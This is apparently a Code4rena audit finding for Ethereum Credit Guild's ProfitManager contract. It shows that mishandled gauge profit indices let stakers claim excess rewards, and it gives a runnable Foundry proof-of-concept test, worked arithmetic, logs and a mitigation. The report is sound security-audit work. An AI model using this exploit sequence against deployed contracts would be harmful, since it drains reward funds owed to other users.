User and Gauge Profit Index aren't Handled Rightly In the Profit Manager

[c4-bot-4]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L409-L436

Vulnerability details

Impact

When users with GUILD participate in voting by allocating weights to gauges in the system, they subsequently qualify for a reward. The reward is a percentage of the profit/interest realized from the gauge they added weight to.
The system uses index to evenly allocate rewards to gauge stakers.
There are currently several issues with how the system currently uses this:

• when users allocate weight to a gauge for the first time, the user gauge index isn't set to the current index. i.e. the user is exposed to more reward than he should be liable for.

• When a gauge staker removes their weight from a gauge, the staker index isn't removed, such that when the staker eventually allocates weight to this gauge later on, their index will be their previously recorded index and not the index as of when they allocated votes

I have added a runnable POC below to best showcase this issue

Proof of Concept

Please add the below test to test/unit/governance/ProfitManager.t.sol, then run:

forge test -vvv --match-path test/unit/governance/ProfitManager.t.sol --match-test  test_profitIndex

    function test_profitIndex() public {
        // grant roles to test contract
        vm.startPrank(governor);
        core.grantRole(CoreRoles.GOVERNOR, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        vm.stopPrank();

        address charlie = address(0xBAE);

        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0, // surplusBufferSplit
            0, // creditSplit
            1e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );
        guild.setMaxGauges(2);
        guild.addGauge(1, gauge1);
        guild.addGauge(1, gauge2);
        guild.mint(alice, 200e18);
        guild.mint(bob, 200e18);
        guild.mint(charlie, 200e18);

        //bob stakes all his guild on gauge 1
        vm.startPrank(bob);
        guild.incrementGauge(gauge1, 200e18);
        vm.stopPrank();

        credit.mint(address(profitManager), 50e18);
        profitManager.notifyPnL(gauge1, 50e18);

        //bob removes all his gauge, this claims his reward in the process
        vm.prank(bob);
        guild.decrementGauge(gauge1, 200e18);

        assertEq(credit.balanceOf(bob), 50e18); //reward claimed

        vm.roll(block.number + 2);

        // both alice and charlie add weight to gauge 1
        vm.prank(charlie);
        guild.incrementGauge(gauge1, 200e18);
        vm.prank(alice);
        guild.incrementGauge(gauge1, 200e18);

        //since there are currently two stakers(alice and charlie), with 50:50 stakes, they should both get 50e18 reward
        credit.mint(address(profitManager), 100e18);
        profitManager.notifyPnL(gauge1, 100e18);

        //when bob adds weight to this gauge, bob immediately qualifies for a reward
        vm.prank(bob);
        guild.incrementGauge(gauge1, 200e18);
        /**
 
        bob initially added 200e18 weight
        and the notified pnl was 50e18
        when bob removed weight from gauge 1, the reward was claimed and the index was updated for both the general gauge index
        and bob gauge profit index
        This is the index at this state:
        
        where gauge index equals current/initial index + pnL / total weight
        when notifyPnL is called the gauge profit index becomes:
        1e18 + (50e18/200e18) = 1.25e18
        after removing weight from gauge 1 bob gauge index is updated to 1.25e18
        and gauge profit index = 1.25e18
        further, alice and charlie both add a total of 400e18 weight, 
        then notifyPnL is called on the gauge with a profit of 100e18, the profit index is then updated to:
        current gauge profit index + pnl /total weight =   1.25e18 + 100e18 / 400e18 ==> 1.5e18

        When bob tries to claim reward, he will appear to have earned:
        uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex; ==> 1.5e18 - 1.25e18 ==> 0.25e18

        delta * weight = 0.25e18 * 200e18(bob's new added weight) / 1e18 ==> 50 weight

        Alice and charlie will also earn more than the expected 50 - 50 reward
        1.5e18 - 1e18(their index isn't updated rightly, this should have been 1.25e18) = 0.5e18
        = 0.5e18 * 200e18 / 1e18  => 100e18
        Both alice and charlie will appear to have earned 100e18 reward each and bob 50e18 CREDIT reward

        */

        assertEq(profitManager.claimRewards(bob), 50e18);

        vm.expectRevert("ERC20: transfer amount exceeds balance");
        profitManager.claimRewards(alice);

        vm.expectRevert("ERC20: transfer amount exceeds balance");
        profitManager.claimRewards(charlie);

        //mint 150e18 CREDIT to the manager to allower charlie and alice to claim
        //100 reward was meant to be shared, bob claimed 50,50 is still in the manager, so 150 to it will make 200
        credit.mint(address(profitManager), 150e18);

        profitManager.claimRewards(alice);
        profitManager.claimRewards(charlie);

        //manager CREDIT balance should now be zero
        assertEq(credit.balanceOf(address(profitManager)), 0);
    }

Here are the logs:

[⠔] Compiling...
[⠒] Compiling 1 files with 0.8.13
[⠑] Solc 0.8.13 finished in 6.95s
Compiler run successful!

Running 1 test for test/unit/governance/ProfitManager.t.sol:ProfitManagerUnitTest
[PASS] test_profitIndex() (gas: 1699932)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.92ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manual Review

Recommended Mitigation Steps

• set users gauge profit index to the current profit index when user allocates weight to a gauge for the first time
• set users gauge profit index to zero whenever they remove all weight from a gauge

Assessed type

Context

[c4-pre-sort]

0xSorryNotSorry marked the issue as sufficient quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #1211

[c4-judge]

Trumpero marked the issue as satisfactory